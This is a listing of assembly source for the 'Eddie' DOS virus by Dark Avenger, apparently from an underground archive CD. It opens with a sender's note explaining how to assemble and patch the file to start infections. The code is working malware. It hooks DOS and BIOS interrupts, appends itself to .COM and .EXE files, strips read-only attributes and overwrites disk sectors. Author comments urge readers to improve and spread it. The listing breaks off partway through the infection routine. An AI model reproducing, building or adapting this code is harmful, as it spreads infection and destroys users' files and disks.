home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / avengsrc.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  29.5 KB  |  1,014 lines

  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13. OK, Rob - here ya' go.  As I understand it, this is only one revision level
  14.  
  15. lower than the "current" version of the virus -- but I have no idea what the
  16.  
  17. differences are between the two.  Sigh.  TASM can be used to assemble the
  18.  
  19. code, then you can replace (using DEBUG) the first 3 bytes of the linked
  20.  
  21. .COM file to 9H 65 00 to jump to the start of the virus code.  I have been
  22.  
  23. unable to cause the resulting executable to infect file on floppy until the
  24.  
  25. virus is run on a hard drive first.  So, to begin infections (after
  26.  
  27. assembling/linking/editing the executable):  1) Run the modified executable,
  28.  
  29. 2) Run a program on your hard drive.  From there it will spread to files on
  30.  
  31. the hard drive and the floppy.  FluShot+ makes a good monitor for watching
  32.  
  33. this virus at work.  Have fun!
  34.  
  35.  
  36.  
  37. Thanks for your help, and thanks for a great weekend.
  38.  
  39.  
  40.  
  41. ;************************
  42.  
  43. ;*                      *
  44.  
  45. ;*      E D D I E       *
  46.  
  47. ;*                      *
  48.  
  49. ;*   by  Dark Avenger   *
  50.  
  51. ;*                      *
  52.  
  53. ;*      3-JAN-1989      *
  54.  
  55. ;*                      *
  56.  
  57. ;*     version 1.31x    *
  58.  
  59. ;*                      *
  60.  
  61. ;************************
  62.  
  63.  
  64.  
  65. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  66.  
  67.  
  68.  
  69. ; The original source of one of the first Bulgarian viruses is in front of
  70.  
  71. ; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  72.  
  73. ; the virus has spread surprisingly quickly troughout the country and made a
  74.  
  75. ; quick round the globe.  (It's well-known in Eastern and Western Europe, as
  76.  
  77. ; well as in USA.) Due to the aniversary of its creation, the source is
  78.  
  79. ; distributed freely.  You have the rights to distribute the source which can
  80.  
  81. ; be charged or free of charge, with the only condition not to modify it.
  82.  
  83. ; The one, who intentionaly distributes this source modified in any way will
  84.  
  85. ; be punished!  Still, the author will be glad if any of you improves it and
  86.  
  87. ; spreads the resulting executive file (i.e., the virus itself).  Pay
  88.  
  89. ; attention to the fact that after you assemble the source, the resulting
  90.  
  91. ; .COM-file cannot be run.  For that purpose you have to create a three-byte
  92.  
  93. ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  94.  
  95. ; two files.  Don't try to place a JMP at the beginning of the source.
  96.  
  97.  
  98.  
  99. ; DISCLAIMER: The author does not take any responsability for any damage,
  100.  
  101. ; either direct or implied, caused by the usage or not of this source or of
  102.  
  103. ; the resulting code after assembly. No warrant is made about the product
  104.  
  105. ; functionability or quality.
  106.  
  107.  
  108.  
  109. ; I cannot resist to express my special gratitude to my "populazer" Dipl.
  110.  
  111. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  112.  
  113. ; not, helps very much in the spreading of my viruses, in spite of the fact
  114.  
  115. ; that he tries to do just the opposite (writing programs in C has never
  116.  
  117. ; led to any good).
  118.  
  119. ; Greetings to all virus writers!
  120.  
  121.  
  122.  
  123. code    segment
  124.  
  125.         assume  cs:code,ds:code
  126.  
  127. copyright:
  128.  
  129.         db      'Eddie lives...somewhere in time!',0
  130.  
  131. date_stamp:
  132.  
  133.         dd      12239000h
  134.  
  135. checksum:
  136.  
  137.         db      30
  138.  
  139.  
  140.  
  141. ; Return the control to an .EXE file:
  142.  
  143. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155. exit_exe:
  156.  
  157.         mov     bx,es
  158.  
  159.         add     bx,10h
  160.  
  161.         add     bx,word ptr cs:[si+call_adr+2]
  162.  
  163.         mov     word ptr cs:[si+patch+2],bx
  164.  
  165.         mov     bx,word ptr cs:[si+call_adr]
  166.  
  167.         mov     word ptr cs:[si+patch],bx
  168.  
  169.         mov     bx,es
  170.  
  171.         add     bx,10h
  172.  
  173.         add     bx,word ptr cs:[si+stack_pointer+2]
  174.  
  175.         mov     ss,bx
  176.  
  177.         mov     sp,word ptr cs:[si+stack_pointer]
  178.  
  179.         db      0eah                    ;JMP XXXX:YYYY
  180.  
  181. patch:
  182.  
  183.         dd      0
  184.  
  185.  
  186.  
  187. ; Returns control to a .COM file:
  188.  
  189. ; Restores the first 3 bytes in the
  190.  
  191. ; beginning of the file, loads SP and IP.
  192.  
  193.  
  194.  
  195. exit_com:
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.         mov     di,100h
  206.  
  207.         add     si,offset my_save
  208.  
  209.         movsb
  210.  
  211.         movsw
  212.  
  213.         mov     sp,ds:[6]               ;This is incorrect
  214.  
  215.         xor     bx,bx
  216.  
  217.         push    bx
  218.  
  219.         jmp     [si-11]                 ;si+call_adr-top_file
  220.  
  221.  
  222.  
  223. ; Program entry point
  224.  
  225.  
  226.  
  227. startup:
  228.  
  229.         call    relative
  230.  
  231. relative:
  232.  
  233.         pop     si                      ;SI = $
  234.  
  235.         sub     si,offset relative
  236.  
  237.         cld
  238.  
  239.         cmp     word ptr cs:[si+my_save],5a4dh
  240.  
  241.         je      exe_ok
  242.  
  243.         cli
  244.  
  245.         mov     sp,si                   ;A separate stack is supported for
  246.  
  247.         add     sp,offset top_file+100h ;the .COM files, in order not to
  248.  
  249.         sti                             ;overlap the stack by the program
  250.  
  251.         cmp     sp,ds:[6]
  252.  
  253.         jnc     exit_com
  254.  
  255. exe_ok:
  256.  
  257.         push    ax
  258.  
  259.         push    es
  260.  
  261.         push    si
  262.  
  263.         push    ds
  264.  
  265.         mov     di,si
  266.  
  267.  
  268.  
  269. ; Looking for the address of INT 13h handler in ROM-BIOS
  270.  
  271.  
  272.  
  273.         xor     ax,ax
  274.  
  275.         push    ax
  276.  
  277.         mov     ds,ax
  278.  
  279.         les     ax,ds:[13h*4]
  280.  
  281.         mov     word ptr cs:[si+fdisk],ax
  282.  
  283.         mov     word ptr cs:[si+fdisk+2],es
  284.  
  285.         mov     word ptr cs:[si+disk],ax
  286.  
  287.         mov     word ptr cs:[si+disk+2],es
  288.  
  289.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
  290.  
  291.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  292.  
  293.         jne     nofdisk                 ;available
  294.  
  295.         mov     word ptr cs:[si+disk+2],ax
  296.  
  297.         mov     ax,ds:[40h*4]
  298.  
  299.         mov     word ptr cs:[si+disk],ax
  300.  
  301.         mov     dl,80h
  302.  
  303.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
  304.  
  305.         cmp     ax,0f000h               ;where the original INT 13h vector is
  306.  
  307.         je      isfdisk
  308.  
  309.         cmp     ah,0c8h
  310.  
  311.         jc      nofdisk
  312.  
  313.         cmp     ah,0f4h
  314.  
  315.         jnc     nofdisk
  316.  
  317.         test    al,7fh
  318.  
  319.         jnz     nofdisk
  320.  
  321.         mov     ds,ax
  322.  
  323.         cmp     ds:[0],0aa55h
  324.  
  325.         jne     nofdisk
  326.  
  327.         mov     dl,ds:[2]
  328.  
  329. isfdisk:
  330.  
  331.         mov     ds,ax
  332.  
  333.         xor     dh,dh
  334.  
  335.         mov     cl,9
  336.  
  337.         shl     dx,cl
  338.  
  339.         mov     cx,dx
  340.  
  341.         xor     si,si
  342.  
  343. findvect:
  344.  
  345.         lodsw                           ;Occasionally begins with:
  346.  
  347.         cmp     ax,0fa80h               ;       CMP     DL,80h
  348.  
  349.         jne     altchk                  ;       JNC     somewhere
  350.  
  351.         lodsw
  352.  
  353.         cmp     ax,7380h
  354.  
  355.         je      intchk
  356.  
  357.         jne     nxt0
  358.  
  359. altchk:
  360.  
  361.         cmp     ax,0c2f6h               ;or with:
  362.  
  363.         jne     nxt                     ;       TEST    DL,80h
  364.  
  365.         lodsw                           ;       JNZ     somewhere
  366.  
  367.         cmp     ax,7580h
  368.  
  369.         jne     nxt0
  370.  
  371. intchk:
  372.  
  373.         inc     si                      ;then there is:
  374.  
  375.         lodsw                           ;       INT     40h
  376.  
  377.         cmp     ax,40cdh
  378.  
  379.         je      found
  380.  
  381.         sub     si,3
  382.  
  383. nxt0:
  384.  
  385.         dec     si
  386.  
  387.         dec     si
  388.  
  389. nxt:
  390.  
  391.         dec     si
  392.  
  393.         loop    findvect
  394.  
  395.         jmp     short nofdisk
  396.  
  397. found:
  398.  
  399.         sub     si,7
  400.  
  401.         mov     word ptr cs:[di+fdisk],si
  402.  
  403.         mov     word ptr cs:[di+fdisk+2],ds
  404.  
  405. nofdisk:
  406.  
  407.         mov     si,di
  408.  
  409.         pop     ds
  410.  
  411.  
  412.  
  413. ; Check whether the program is present in memory:
  414.  
  415.  
  416.  
  417.         les     ax,ds:[21h*4]
  418.  
  419.         mov     word ptr cs:[si+save_int_21],ax
  420.  
  421.         mov     word ptr cs:[si+save_int_21+2],es
  422.  
  423.         push    cs
  424.  
  425.         pop     ds
  426.  
  427.         cmp     ax,offset int_21
  428.  
  429.         jne     bad_func
  430.  
  431.         xor     di,di
  432.  
  433.         mov     cx,offset my_size
  434.  
  435. scan_func:
  436.  
  437.         lodsb
  438.  
  439.         scasb
  440.  
  441.         jne     bad_func
  442.  
  443.         loop    scan_func
  444.  
  445.         pop     es
  446.  
  447.         jmp     go_program
  448.  
  449.  
  450.  
  451. ; Move the program to the top of memory:
  452.  
  453. ; (it's full of rubbish and bugs here)
  454.  
  455.  
  456.  
  457. bad_func:
  458.  
  459.         pop     es
  460.  
  461.         mov     ah,49h
  462.  
  463.         int     21h
  464.  
  465.         mov     bx,0ffffh
  466.  
  467.         mov     ah,48h
  468.  
  469.         int     21h
  470.  
  471.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  472.  
  473.         jc      go_program
  474.  
  475.         mov     cx,es
  476.  
  477.         stc
  478.  
  479.         adc     cx,bx
  480.  
  481.         mov     ah,4ah
  482.  
  483.         int     21h
  484.  
  485.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  486.  
  487.         stc
  488.  
  489.         sbb     es:[2],bx
  490.  
  491.         push    es
  492.  
  493.         mov     es,cx
  494.  
  495.         mov     ah,4ah
  496.  
  497.         int     21h
  498.  
  499.         mov     ax,es
  500.  
  501.         dec     ax
  502.  
  503.         mov     ds,ax
  504.  
  505.         mov     word ptr ds:[1],8
  506.  
  507.         call    mul_16
  508.  
  509.         mov     bx,ax
  510.  
  511.         mov     cx,dx
  512.  
  513.         pop     ds
  514.  
  515.         mov     ax,ds
  516.  
  517.         call    mul_16
  518.  
  519.         add     ax,ds:[6]
  520.  
  521.         adc     dx,0
  522.  
  523.         sub     ax,bx
  524.  
  525.         sbb     dx,cx
  526.  
  527.         jc      mem_ok
  528.  
  529.         sub     ds:[6],ax               ;Reduction of the segment size
  530.  
  531. mem_ok:
  532.  
  533.         pop     si
  534.  
  535.         push    si
  536.  
  537.         push    ds
  538.  
  539.         push    cs
  540.  
  541.         xor     di,di
  542.  
  543.         mov     ds,di
  544.  
  545.         lds     ax,ds:[27h*4]
  546.  
  547.         mov     word ptr cs:[si+save_int_27],ax
  548.  
  549.         mov     word ptr cs:[si+save_int_27+2],ds
  550.  
  551.         pop     ds
  552.  
  553.         mov     cx,offset aux_size
  554.  
  555.         rep     movsb
  556.  
  557.         xor     ax,ax
  558.  
  559.         mov     ds,ax
  560.  
  561.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  562.  
  563.         mov     ds:[21h*4+2],es
  564.  
  565.         mov     ds:[27h*4],offset int_27
  566.  
  567.         mov     ds:[27h*4+2],es
  568.  
  569.         mov     word ptr es:[filehndl],ax
  570.  
  571.         pop     es
  572.  
  573. go_program:
  574.  
  575.         pop     si
  576.  
  577.  
  578.  
  579. ; Smash the next disk sector:
  580.  
  581.  
  582.  
  583.         xor     ax,ax
  584.  
  585.         mov     ds,ax
  586.  
  587.         mov     ax,ds:[13h*4]
  588.  
  589.         mov     word ptr cs:[si+save_int_13],ax
  590.  
  591.         mov     ax,ds:[13h*4+2]
  592.  
  593.         mov     word ptr cs:[si+save_int_13+2],ax
  594.  
  595.         mov     ds:[13h*4],offset int_13
  596.  
  597.         add     ds:[13h*4],si
  598.  
  599.         mov     ds:[13h*4+2],cs
  600.  
  601.         pop     ds
  602.  
  603.         push    ds
  604.  
  605.         push    si
  606.  
  607.         mov     bx,si
  608.  
  609.         lds     ax,ds:[2ah]
  610.  
  611.         xor     si,si
  612.  
  613.         mov     dx,si
  614.  
  615. scan_envir:                             ;Fetch program's name
  616.  
  617.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  618.  
  619.         dec     si
  620.  
  621.         test    ax,ax
  622.  
  623.         jnz     scan_envir
  624.  
  625.         add     si,3
  626.  
  627.         lodsb
  628.  
  629.  
  630.  
  631. ; The following instruction is a complete nonsense.  Try to enter a drive &
  632.  
  633. ; directory path in lowercase, then run an infected program from there.
  634.  
  635. ; As a result of an error here + an error in DOS the next sector is not
  636.  
  637. ; smashed. Two memory bytes are smashed instead, most probably onto the
  638.  
  639. ; infected program.
  640.  
  641.  
  642.  
  643.         sub     al,'A'
  644.  
  645.         mov     cx,1
  646.  
  647.         push    cs
  648.  
  649.         pop     ds
  650.  
  651.         add     bx,offset int_27
  652.  
  653.         push    ax
  654.  
  655.         push    bx
  656.  
  657.         push    cx
  658.  
  659.         int     25h
  660.  
  661.         pop     ax
  662.  
  663.         pop     cx
  664.  
  665.         pop     bx
  666.  
  667.         inc     byte ptr [bx+0ah]
  668.  
  669.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  670.  
  671.         jnz     store_sec               ;nothing is not enough for some.
  672.  
  673.         mov     al,[bx+10h]
  674.  
  675.         xor     ah,ah
  676.  
  677.         mul     word ptr [bx+16h]
  678.  
  679.         add     ax,[bx+0eh]
  680.  
  681.         push    ax
  682.  
  683.         mov     ax,[bx+11h]
  684.  
  685.         mov     dx,32
  686.  
  687.         mul     dx
  688.  
  689.         div     word ptr [bx+0bh]
  690.  
  691.         pop     dx
  692.  
  693.         add     dx,ax
  694.  
  695.         mov     ax,[bx+8]
  696.  
  697.         add     ax,40h
  698.  
  699.         cmp     ax,[bx+13h]
  700.  
  701.         jc      store_new
  702.  
  703.         inc     ax
  704.  
  705.         and     ax,3fh
  706.  
  707.         add     ax,dx
  708.  
  709.         cmp     ax,[bx+13h]
  710.  
  711.         jnc     small_disk
  712.  
  713. store_new:
  714.  
  715.         mov     [bx+8],ax
  716.  
  717. store_sec:
  718.  
  719.         pop     ax
  720.  
  721.         xor     dx,dx
  722.  
  723.         push    ax
  724.  
  725.         push    bx
  726.  
  727.         push    cx
  728.  
  729.         int     26h
  730.  
  731.  
  732.  
  733.  
  734.  
  735. ; The writing trough this interrupt is not the smartest thing, bacause it
  736.  
  737. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  738.  
  739.  
  740.  
  741.         pop     ax
  742.  
  743.         pop     cx
  744.  
  745.         pop     bx
  746.  
  747.         pop     ax
  748.  
  749.         cmp     byte ptr [bx+0ah],0
  750.  
  751.         jne     not_now
  752.  
  753.         mov     dx,[bx+8]
  754.  
  755.         pop     bx
  756.  
  757.         push    bx
  758.  
  759.         int     26h
  760.  
  761. small_disk:
  762.  
  763.         pop     ax
  764.  
  765. not_now:
  766.  
  767.         pop     si
  768.  
  769.         xor     ax,ax
  770.  
  771.         mov     ds,ax
  772.  
  773.         mov     ax,word ptr cs:[si+save_int_13]
  774.  
  775.         mov     ds:[13h*4],ax
  776.  
  777.         mov     ax,word ptr cs:[si+save_int_13+2]
  778.  
  779.         mov     ds:[13h*4+2],ax
  780.  
  781.         pop     ds
  782.  
  783.         pop     ax
  784.  
  785.         cmp     word ptr cs:[si+my_save],5a4dh
  786.  
  787.         jne     go_exit_com
  788.  
  789.         jmp     exit_exe
  790.  
  791. go_exit_com:
  792.  
  793.         jmp     exit_com
  794.  
  795. int_24:
  796.  
  797.         mov     al,3                    ;This instruction seems unnecessary
  798.  
  799.         iret
  800.  
  801.  
  802.  
  803. ; INT 27h handler (this is necessary)
  804.  
  805.  
  806.  
  807. int_27:
  808.  
  809.         pushf
  810.  
  811.         call    alloc
  812.  
  813.         popf
  814.  
  815.         jmp     dword ptr cs:[save_int_27]
  816.  
  817.  
  818.  
  819. ; During the DOS functions Set & Get Vector it seems that the virus has not
  820.  
  821. ; intercepted them (this is a doubtfull advantage and it is a possible
  822.  
  823. ; source of errors with some "intelligent" programs)
  824.  
  825.  
  826.  
  827. set_int_27:
  828.  
  829.         mov     word ptr cs:[save_int_27],dx
  830.  
  831.         mov     word ptr cs:[save_int_27+2],ds
  832.  
  833.         popf
  834.  
  835.         iret
  836.  
  837. set_int_21:
  838.  
  839.         mov     word ptr cs:[save_int_21],dx
  840.  
  841.         mov     word ptr cs:[save_int_21+2],ds
  842.  
  843.         popf
  844.  
  845.         iret
  846.  
  847. get_int_27:
  848.  
  849.         les     bx,dword ptr cs:[save_int_27]
  850.  
  851.         popf
  852.  
  853.         iret
  854.  
  855. get_int_21:
  856.  
  857.         les     bx,dword ptr cs:[save_int_21]
  858.  
  859.         popf
  860.  
  861.         iret
  862.  
  863.  
  864.  
  865. exec:
  866.  
  867.  
  868.  
  869.  
  870.  
  871.         call    do_file
  872.  
  873.         call    alloc
  874.  
  875.         popf
  876.  
  877.         jmp     dword ptr cs:[save_int_21]
  878.  
  879.  
  880.  
  881.         db      'Diana P.',0
  882.  
  883.  
  884.  
  885. ; INT 21h handler.  Infects files during execution, copying, browsing or
  886.  
  887. ; creating and some other operations. The execution of functions 0 and 26h
  888.  
  889. ; has bad consequences.
  890.  
  891.  
  892.  
  893. int_21:
  894.  
  895.         push    bp
  896.  
  897.         mov     bp,sp
  898.  
  899.         push    [bp+6]
  900.  
  901.         popf
  902.  
  903.         pop     bp
  904.  
  905.         pushf
  906.  
  907.         call    ontop
  908.  
  909.         cmp     ax,2521h
  910.  
  911.         je      set_int_21
  912.  
  913.         cmp     ax,2527h
  914.  
  915.         je      set_int_27
  916.  
  917.         cmp     ax,3521h
  918.  
  919.         je      get_int_21
  920.  
  921.         cmp     ax,3527h
  922.  
  923.         je      get_int_27
  924.  
  925.         cld
  926.  
  927.         cmp     ax,4b00h
  928.  
  929.         je      exec
  930.  
  931.         cmp     ah,3ch
  932.  
  933.         je      create
  934.  
  935.         cmp     ah,3eh
  936.  
  937.         je      close
  938.  
  939.         cmp     ah,5bh
  940.  
  941.         jne     not_create
  942.  
  943. create:
  944.  
  945.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  946.  
  947.         jne     dont_touch
  948.  
  949.         call    see_name
  950.  
  951.         jnz     dont_touch
  952.  
  953.         call    alloc
  954.  
  955.         popf
  956.  
  957.         call    function
  958.  
  959.         jc      int_exit
  960.  
  961.         pushf
  962.  
  963.         push    es
  964.  
  965.         push    cs
  966.  
  967.         pop     es
  968.  
  969.         push    si
  970.  
  971.         push    di
  972.  
  973.         push    cx
  974.  
  975.         push    ax
  976.  
  977.         mov     di,offset filehndl
  978.  
  979.         stosw
  980.  
  981.         mov     si,dx
  982.  
  983.         mov     cx,65
  984.  
  985. move_name:
  986.  
  987.         lodsb
  988.  
  989.         stosb
  990.  
  991.         test    al,al
  992.  
  993.         jz      all_ok
  994.  
  995.         loop    move_name
  996.  
  997.         mov     word ptr es:[filehndl],cx
  998.  
  999. all_ok:
  1000.  
  1001.         pop     ax
  1002.  
  1003.         pop     cx
  1004.  
  1005.         pop     di
  1006.  
  1007.         pop     si
  1008.  
  1009.         pop     es
  1010.  
  1011. go_exit:
  1012.  
  1013.         popf
  1014.  
  1015.         jnc     int_exit                ;JMP
  1016.  
  1017. close:
  1018.  
  1019.         cmp     bx,word ptr cs:[filehndl]
  1020.  
  1021.         jne     dont_touch
  1022.  
  1023.         test    bx,bx
  1024.  
  1025.         jz      dont_touch
  1026.  
  1027.         call    alloc
  1028.  
  1029.         popf
  1030.  
  1031.         call    function
  1032.  
  1033.         jc      int_exit
  1034.  
  1035.         pushf
  1036.  
  1037.         push    ds
  1038.  
  1039.         push    cs
  1040.  
  1041.         pop     ds
  1042.  
  1043.         push    dx
  1044.  
  1045.         mov     dx,offset filehndl+2
  1046.  
  1047.         call    do_file
  1048.  
  1049.         mov     word ptr cs:[filehndl],0
  1050.  
  1051.         pop     dx
  1052.  
  1053.         pop     ds
  1054.  
  1055.         jmp     go_exit
  1056.  
  1057. not_create:
  1058.  
  1059.         cmp     ah,3dh
  1060.  
  1061.         je      touch
  1062.  
  1063.         cmp     ah,43h
  1064.  
  1065.         je      touch
  1066.  
  1067.         cmp     ah,56h                  ;Unfortunately, the command inter-
  1068.  
  1069.         jne     dont_touch              ;preter does not use this function
  1070.  
  1071. touch:
  1072.  
  1073.         call    see_name
  1074.  
  1075.         jnz     dont_touch
  1076.  
  1077.         call    do_file
  1078.  
  1079. dont_touch:
  1080.  
  1081.         call    alloc
  1082.  
  1083.         popf
  1084.  
  1085.         call    function
  1086.  
  1087. int_exit:
  1088.  
  1089.         pushf
  1090.  
  1091.         push    ds
  1092.  
  1093.         call    get_chain
  1094.  
  1095.         mov     byte ptr ds:[0],'Z'
  1096.  
  1097.         pop     ds
  1098.  
  1099.         popf
  1100.  
  1101. dummy   proc    far                     ;???
  1102.  
  1103.         ret     2
  1104.  
  1105. dummy   endp
  1106.  
  1107.  
  1108.  
  1109. ; Checks whether the file is .COM or .EXE.
  1110.  
  1111. ; It is not called upon file execution.
  1112.  
  1113.  
  1114.  
  1115. see_name:
  1116.  
  1117.         push    ax
  1118.  
  1119.         push    si
  1120.  
  1121.         mov     si,dx
  1122.  
  1123. scan_name:
  1124.  
  1125.         lodsb
  1126.  
  1127.         test    al,al
  1128.  
  1129.         jz      bad_name
  1130.  
  1131.         cmp     al,'.'
  1132.  
  1133.         jnz     scan_name
  1134.  
  1135.         call    get_byte
  1136.  
  1137.         mov     ah,al
  1138.  
  1139.         call    get_byte
  1140.  
  1141.         cmp     ax,'co'
  1142.  
  1143.         jz      pos_com
  1144.  
  1145.         cmp     ax,'ex'
  1146.  
  1147.         jnz     good_name
  1148.  
  1149.         call    get_byte
  1150.  
  1151.         cmp     al,'e'
  1152.  
  1153.         jmp     short good_name
  1154.  
  1155. pos_com:
  1156.  
  1157.         call    get_byte
  1158.  
  1159.         cmp     al,'m'
  1160.  
  1161.         jmp     short good_name
  1162.  
  1163. bad_name:
  1164.  
  1165.         inc     al
  1166.  
  1167. good_name:
  1168.  
  1169.         pop     si
  1170.  
  1171.         pop     ax
  1172.  
  1173.         ret
  1174.  
  1175.  
  1176.  
  1177. ; Converts into lowercase (the subroutines are a great thing).
  1178.  
  1179.  
  1180.  
  1181. get_byte:
  1182.  
  1183.         lodsb
  1184.  
  1185.         cmp     al,'C'
  1186.  
  1187.         jc      byte_got
  1188.  
  1189.         cmp     al,'Y'
  1190.  
  1191.         jnc     byte_got
  1192.  
  1193.         add     al,20h
  1194.  
  1195. byte_got:
  1196.  
  1197.         ret
  1198.  
  1199.  
  1200.  
  1201. ; Calls the original INT 21h.
  1202.  
  1203.  
  1204.  
  1205. function:
  1206.  
  1207.         pushf
  1208.  
  1209.         call    dword ptr cs:[save_int_21]
  1210.  
  1211.         ret
  1212.  
  1213.  
  1214.  
  1215. ; Arrange to infect an executable file.
  1216.  
  1217.  
  1218.  
  1219. do_file:
  1220.  
  1221.         push    ds                      ;Save the registers in stack
  1222.  
  1223.         push    es
  1224.  
  1225.         push    si
  1226.  
  1227.         push    di
  1228.  
  1229.         push    ax
  1230.  
  1231.         push    bx
  1232.  
  1233.         push    cx
  1234.  
  1235.         push    dx
  1236.  
  1237.         mov     si,ds
  1238.  
  1239.         xor     ax,ax
  1240.  
  1241.         mov     ds,ax
  1242.  
  1243.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  1244.  
  1245.         push    es                      ;and changes them with what is needed
  1246.  
  1247.         push    ax
  1248.  
  1249.         mov     ds:[24h*4],offset int_24
  1250.  
  1251.         mov     ds:[24h*4+2],cs
  1252.  
  1253.         les     ax,ds:[13h*4]
  1254.  
  1255.         mov     word ptr cs:[save_int_13],ax
  1256.  
  1257.         mov     word ptr cs:[save_int_13+2],es
  1258.  
  1259.         mov     ds:[13h*4],offset int_13
  1260.  
  1261.         mov     ds:[13h*4+2],cs
  1262.  
  1263.         push    es
  1264.  
  1265.         push    ax
  1266.  
  1267.         mov     ds,si
  1268.  
  1269.         xor     cx,cx                   ;Arranges to infect Read-only files
  1270.  
  1271.         mov     ax,4300h
  1272.  
  1273.         call    function
  1274.  
  1275.         mov     bx,cx
  1276.  
  1277.         and     cl,0feh
  1278.  
  1279.         cmp     cl,bl
  1280.  
  1281.         je      dont_change
  1282.  
  1283.         mov     ax,4301h
  1284.  
  1285.         call    function
  1286.  
  1287.         stc
  1288.  
  1289. dont_change:
  1290.  
  1291.         pushf
  1292.  
  1293.         push    ds
  1294.  
  1295.         push    dx
  1296.  
  1297.         push    bx
  1298.  
  1299.         mov     ax,3d02h                ;Now we can safely open the file
  1300.  
  1301.         call    function
  1302.  
  1303.         jc      cant_open
  1304.  
  1305.         mov     bx,ax
  1306.  
  1307.         call    disease
  1308.  
  1309.         mov     ah,3eh                  ;Close it
  1310.  
  1311.  
  1312.  
  1313.         call    function
  1314.  
  1315. cant_open:
  1316.  
  1317.         pop     cx
  1318.  
  1319.         pop     dx
  1320.  
  1321.         pop     ds
  1322.  
  1323.         popf
  1324.  
  1325.         jnc     no_update
  1326.  
  1327.         mov     ax,4301h                ;Restores file's attributes
  1328.  
  1329.         call    function                ;if they were changed (just in case)
  1330.  
  1331. no_update:
  1332.  
  1333.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  1334.  
  1335.         mov     ds,ax
  1336.  
  1337.         pop     ds:[13h*4]
  1338.  
  1339.         pop     ds:[13h*4+2]
  1340.  
  1341.         pop     ds:[24h*4]
  1342.  
  1343.         pop     ds:[24h*4+2]
  1344.  
  1345.         pop     dx                      ;Register restoration
  1346.  
  1347.         pop     cx
  1348.  
  1349.         pop     bx
  1350.  
  1351.         pop     ax
  1352.  
  1353.         pop     di
  1354.  
  1355.         pop     si
  1356.  
  1357.         pop     es
  1358.  
  1359.         pop     ds
  1360.  
  1361.         ret
  1362.  
  1363.  
  1364.  
  1365. ; This routine is the working horse.
  1366.  
  1367.  
  1368.  
  1369. disease:
  1370.  
  1371.         push    cs
  1372.  
  1373.         pop     ds
  1374.  
  1375.         push    cs
  1376.  
  1377.         pop     es
  1378.  
  1379.         mov     dx,offset top_save      ;Read the file beginning
  1380.  
  1381.         mov     cx,18h
  1382.  
  1383.         mov     ah,3fh
  1384.  
  1385.         int     21h
  1386.  
  1387.         xor     cx,cx
  1388.  
  1389.         xor     dx,dx
  1390.  
  1391.         mov     ax,4202h                ;Save file length
  1392.  
  1393.         int     21h
  1394.  
  1395.         mov     word ptr [top_save+1ah],dx
  1396.  
  1397.         cmp     ax,offset my_size       ;This should be top_file
  1398.  
  1399.         sbb     dx,0
  1400.  
  1401.         jc      stop_fuck_2             ;Small files are not infected
  1402.  
  1403.         mov     word ptr [top_save+18h],ax
  1404.  
  1405.         cmp     word ptr [top_save],5a4dh
  1406.  
  1407.         jne     com_file
  1408.  
  1409.         mov     ax,word ptr [top_save+8]
  1410.  
  1411.         add     ax,word ptr [top_save+16h]
  1412.  
  1413.         call    mul_16
  1414.  
  1415.         add     ax,word ptr [top_save+14h]
  1416.  
  1417.         adc     dx,0
  1418.  
  1419.         mov     cx,dx
  1420.  
  1421.         mov     dx,ax
  1422.  
  1423.         jmp     short see_sick
  1424.  
  1425. com_file:
  1426.  
  1427.         cmp     byte ptr [top_save],0e9h
  1428.  
  1429.         jne     see_fuck
  1430.  
  1431.         mov     dx,word ptr [top_save+1]
  1432.  
  1433.         add     dx,103h
  1434.  
  1435.         jc      see_fuck
  1436.  
  1437.         dec     dh
  1438.  
  1439.         xor     cx,cx
  1440.  
  1441.  
  1442.  
  1443. ; Check if the file is properly infected
  1444.  
  1445.  
  1446.  
  1447.  
  1448.  
  1449. see_sick:
  1450.  
  1451.         sub     dx,startup-copyright
  1452.  
  1453.         sbb     cx,0
  1454.  
  1455.         mov     ax,4200h
  1456.  
  1457.         int     21h
  1458.  
  1459.         add     ax,offset top_file
  1460.  
  1461.         adc     dx,0
  1462.  
  1463.         cmp     ax,word ptr [top_save+18h]
  1464.  
  1465.         jne     see_fuck
  1466.  
  1467.         cmp     dx,word ptr [top_save+1ah]
  1468.  
  1469.         jne     see_fuck
  1470.  
  1471.         mov     dx,offset top_save+1ch
  1472.  
  1473.         mov     si,dx
  1474.  
  1475.         mov     cx,offset my_size
  1476.  
  1477.         mov     ah,3fh
  1478.  
  1479.         int     21h
  1480.  
  1481.         jc      see_fuck
  1482.  
  1483.         cmp     cx,ax
  1484.  
  1485.         jne     see_fuck
  1486.  
  1487.         xor     di,di
  1488.  
  1489. next_byte:
  1490.  
  1491.  
  1492.  
  1493.         lodsb
  1494.  
  1495.         scasb
  1496.  
  1497.         jne     see_fuck
  1498.  
  1499.         loop    next_byte
  1500.  
  1501. stop_fuck_2:
  1502.  
  1503.         ret
  1504.  
  1505. see_fuck:
  1506.  
  1507.         xor     cx,cx                   ;Seek to the end of file
  1508.  
  1509.         xor     dx,dx
  1510.  
  1511.         mov     ax,4202h
  1512.  
  1513.         int     21h
  1514.  
  1515.         cmp     word ptr [top_save],5a4dh
  1516.  
  1517.         je      fuck_exe
  1518.  
